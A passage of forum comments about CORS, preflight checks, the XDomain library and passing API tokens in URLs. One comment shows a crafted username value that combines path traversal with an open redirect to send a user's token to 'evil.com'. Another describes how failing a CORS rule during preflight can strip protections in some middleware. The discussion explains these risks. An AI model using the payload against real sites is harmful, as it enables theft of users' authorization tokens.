31–40 of 54 posts
If it were possible to make "cookie-less" AJAX requests to things like APIs, would it be safe for those requests to bypass CORS? My impression is that the cookie sending is the main danger, and if we could opt-out, then the "use API with provided key" use-case could work independent of what the destination site wants.
I don't know if there's a "spec" for CORS rules though..
I was running into a CORS-related issue, and was thinking of a possible solution: If it were possible to make "cookie-less" AJAX requests to things like APIs, would it be safe for those requests to bypass CORS? My impression is that the cookie sending is the main danger, and if we could opt-out, then the "use API with provided key" use-case could work independent of what the destination site wants. I don't know if th…
When I started going down the whole CORS rabbit hole a very simple solution came to me almost immediately via googling. Xdomain. It is simple, it doesn't do preflight checks, it's secure. The only silly edgecases are where other people have already worked around CORS awfulness for their client libraries (MixPanel, FB SDK, Intercom).
XDomain certainly feels like a hack, but if you've done any serious work with CORS you'll probably realise CORS itself is just hacks upon hacks.
Project Link: https://github.com/jpillora/xdomain
The reason 'simple' and 'unsimple' exists is that simple requests are just normal XHR requests, and it would be infeasible to change all the web standards to prevent something that has been used for years.
Tokens in URLs is a very different, and perhaps drastically more insecure pattern than in headers. The primary issue is that it is extremely common to do:
"/api/v1/user/" + username + ".json?token=" + token
That might seem fine and dandy, but what if I tell you "username" is now "../../../login?after=//evil.com?x="
Now the url is:
/api/v1/user/../../../login?after=//evil.com?x=.json?token=TOKEN
->
/login?after=//evil.com?x=.json?token=TOKEN
->
http://evil.com?x=json?token=TOKEN
Assuming you have an open redirect flaw in your login system (extremely common), I can now exfiltrate user authorization tokens to my own server.
Setting Content-Type to text/plain works, but doing this kind of fiddling is pretty scary. If your Content-Type ends up as XML or HTML, you've just opened up your site for global XSS.
> The browser does not make an OPTIONS request, the server with awareness can potentially not allow the request. Web frameworks don’t do this because in lieu of better security measures, such as CSRF or using sessionless authentication.
If I'm understanding it right, you're saying that if configured correctly, the server can decide to not display information if the CORS rules are not met. This is to my knowledge a misunderstanding of how CORS works. Once you realise that CORS is meant to be a static set of headers cache-able and dedicated to a specific endpoint it makes a lot more sense.
With CORS, it is the browser, having been informed by the CORS headers what restrictions are placed on making requests to that endpoint which decides whether a request can go through.
This misunderstanding can become ugly when, as I've seen in several popular libraries from my research -- when combined with the 'fail early' pattern. The CORS-aware middleware sends rules to the browser as it validates them, and if one fails exits prematurely. If an earlier CORS rule is purposely failed by an attacker during a preflight request, the middleware will not send all the CORS headers, allowing subsequent requests with less / zero restrictions.
Earlier quoted context omitted.
This is about authenticating consumers of an API, not end users. So while your wish is nice, it's a non sequitur here.
If we're talking about browser extensions (as the comment I replied to was) then we're talking about calls being made from the browser.
Maybe this is obvious, but why not just configure a reverse proxy to point different paths to different backends? I always assumed CORS was more for connecting directly to 3rd party APIs.
super minor but unless I'm mistaken SPA stands for "Single Page Application", so the first sentence in the post is a bit jarring: > AlphaSights’ recruitment platform evolved from a Rails application into a _classic SPA app_. Update 20s later: is "Wepack" in the diagram supposed to be "Webpack"? Update 60s later: Can you explain _what_ you're actually using that runs into CORS issues? Are browsers talking to the api.*…
> Wow, my first thought was “headers are messy and this is so restrictive”. As a lazy developer, I’ve shied away from dealing with headers, relying on abstractions provided by libraries and frameworks. I'm sure this is a common thought, but oh man it hurts me to read it.
Earlier quoted context omitted.
The diagram is bad, the browser is running code loaded on app.* and making requests to api.*; I've used similar setups and have run into the same issues the author is describing.
How did you end up dealing with them?